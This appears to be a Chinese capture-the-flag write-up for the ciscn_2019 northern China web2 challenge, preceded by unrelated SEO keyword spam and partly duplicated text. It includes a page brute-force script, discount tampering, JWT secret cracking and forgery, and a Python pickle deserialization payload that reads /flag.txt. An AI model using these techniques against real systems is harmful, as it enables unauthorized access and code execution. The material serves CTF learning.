四川建设银行手机银行下载官方网站,软文广告代理平台,网站设计不包括,创建站点的步骤ciscn_2019_web_northern_china_day1_web2
BEGIN
拿到题目#xff0c;先看看 这里发现一个很像提示的东西#xff0c;然后发现下面是一堆小电视商品#xff0c;有lv等级和金钱#xff0c;所以这题的入口可能就是再lv6和这个资金募集上 然后点击下next#xff0c;看看页…ciscn_2019_web_northern_china_day1_web2
BEGIN
拿到题目先看看 这里发现一个很像提示的东西然后发现下面是一堆小电视商品有lv等级和金钱所以这题的入口可能就是再lv6和这个资金募集上 然后点击下next看看页数的参数然后爆破一下注意看看lv信息是怎么显示的这里是图片名
爆破lv6
import requestsurl http://192.168.163.128:8083/shop?pagefor i in range(1, 1000):r requests.get(url str(i))if lv6.png in r.text:print(i)break爆破出结果是181 然后就购买但是金额不够记得注册登录 然后看到有折扣就抓包试试能不能改
抓包修改折扣 修改完后发现返回一个Location主要也没别的信息了毕竟也不是404502啥的 然后就访问url\blg_m4mber 然后⬇️
JWT伪造
怎么越权呢先抓个包 然后发现有JWT::Json web token (JWT) 直达➡️JWT伪造 然后就复现一下JWT伪造把secret key爆破出来 把JWT换成自己的 然后到https://jwt.io/生成一下先放原有的然后修改user和secret key就ok了) 生成伪造的JWT 这里还卡了一下因为我是把JWT用burp传的然后看不到提示信息(burp raw不支持中文 康康wpF12开始操作 然后下载源码然后又卡住了
代码审计
漏洞pickle.loads unserialize执行魔术方法造成rce
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllibclass AdminHandler(BaseHandler):tornado.web.authenticateddef get(self, *args, **kwargs):if self.current_user admin:return self.render(form.html, resThis is Black Technology!, member0)else:return self.render(no_ass.html)tornado.web.authenticateddef post(self, *args, **kwargs):try:become self.get_argument(become)p pickle.loads(urllib.unquote(become))return self.render(form.html, resp, member1)except:return self.render(form.html, resThis is Black Technology!, member0)payload
注意到urllib.unquote()是python2的用法python3中使用urllib.parse.unquote()
#!/usr/bin/env python2.7
import pickle
import urllibclass payload(object):def __reduce__(self):return (eval, (open(/flag.txt,r).read(),))a pickle.dumps(payload())
a urllib.quote(a)
print a然后通过become传参 还好不是只能在源码里看一开始真没在raw中找到然后就render看看毕竟都200OK了结果没看到flag 卡挺久的 OVER
抓包JWTpickle反序列化RCE
